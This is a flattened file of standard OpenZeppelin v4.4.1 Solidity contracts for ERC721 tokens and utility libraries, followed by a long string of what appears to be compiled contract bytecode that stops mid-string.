minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106102c95760003560e01c806366d003ac11610175578063b94c8c0e116100dc578063e63ec94711610095578063edec5f271161006f578063edec5f2714610813578063f19e75d414610833578063f2fde38b14610853578063fc1a1c361461087357600080fd5b8063e63ec94714610787578063e985e9c5146107b4578063ea87e0a8146107fd57600080fd5b8063b94c8c0e146106ec578063be64cf2614610706578063c714e89c1461071c578063c87b56dd1461073c578063cfc86f7b1461075c578063e22ab42c1461077157600080fd5b8063868ff4a21161012e578063868ff4a2146106465780638da5cb5b146106595780638f66031c1461067757806395d89b4114610697578063a22cb465146106ac578063b88d4fde146106cc57600080fd5b806366d003ac146105a65780636817c76c146105c65780636a1716d8146105dc5780637035bf18146105fc57806370a0823114610611578063715018a61461063157600080fd5b806330666a4d1161023457806342842e0e116101ed578063582f517c116101c7578063582f517c146105415780635b7f00b5146105565780635e5f3ce41461056c5780636352211e1461058657600080fd5b806342842e0e146104e75780634f6ccce714610507578063518302271461052757600080fd5b806330666a4d146104515780633281fa3f1461046757806332d5e037146104865780633bbed4a01461049c5780633c010a3e146104bc5780633ccfd60b146104d257600080fd5b806319eb8a541161028657806319eb8a54146103b35780631d1b99fd146103d357806323b872dd146103e85780632870214e146104085780632db115441461041e5780632f745c591461043157600080fd5b806301ffc9a7146102ce57806306fdde0314610303578063081812fc14610325578063095ea7b31461035d578063176a8c3b1461037f57806318160ddd14610394575b600080fd5b3480156102da57600080fd5b506102ee6102e93660046123ec565b610889565b60405190151581526020015b60405180910390f35b34801561030f57600080fd5b506103186108b4565b6040516102fa9190612468565b34801561033157600080fd5b5061034561034036600461247b565b610946565b6040516001600160a01b0390911681526020016102fa565b34801561036957600080fd5b5061037d6103783660046124ab565b6109e0565b005b34801561038b57600080fd5b5061037d610af6565b3480156103a057600080fd5b506008545b6040519081526020016102fa565b3480156103bf57600080fd5b5061037d6103ce36600461247b565b610b31565b3480156103df57600080fd5b5061037d610bca565b3480156103f457600080fd5b5061037d6104033660046124d5565b610c88565b34801561041457600080fd5b506103a560105481565b61037d61042c36600461247b565b610cb9565b34801561043d57600080fd5b506103a561044c3660046124ab565b610dde565b34801561045d57600080fd5b506103a5600f5481565b34801561047357600080fd5b50601b546102ee90610100900460ff1681565b34801561049257600080fd5b506103a560145481565b3480156104a857600080fd5b5061037d6104b7366004612511565b610e74565b3480156104c857600080fd5b506103a5600e5481565b3480156104de57600080fd5b5061037d610ec0565b3480156104f357600080fd5b5061037d6105023660046124d5565b610fbf565b34801561051357600080fd5b506103a561052236600461247b565b610fda565b34801561053357600080fd5b506017546102ee9060ff1681565b34801561054d57600080fd5b5061037d61106d565b34801561056257600080fd5b506103a560125481565b34801561057857600080fd5b50601b546102ee9060ff1681565b34801561059257600080fd5b506103456105a136600461247b565b6110a6565b3480156105b257600080fd5b50601954610345906001600160a01b031681565b3480156105d257600080fd5b506103a5600d5481565b3480156105e857600080fd5b5061037d6105f73660046125cb565b61111d565b34801561060857600080fd5b506103186111e6565b34801561061d57600080fd5b506103a561062c366004612511565b611274565b34801561063d57600080fd5b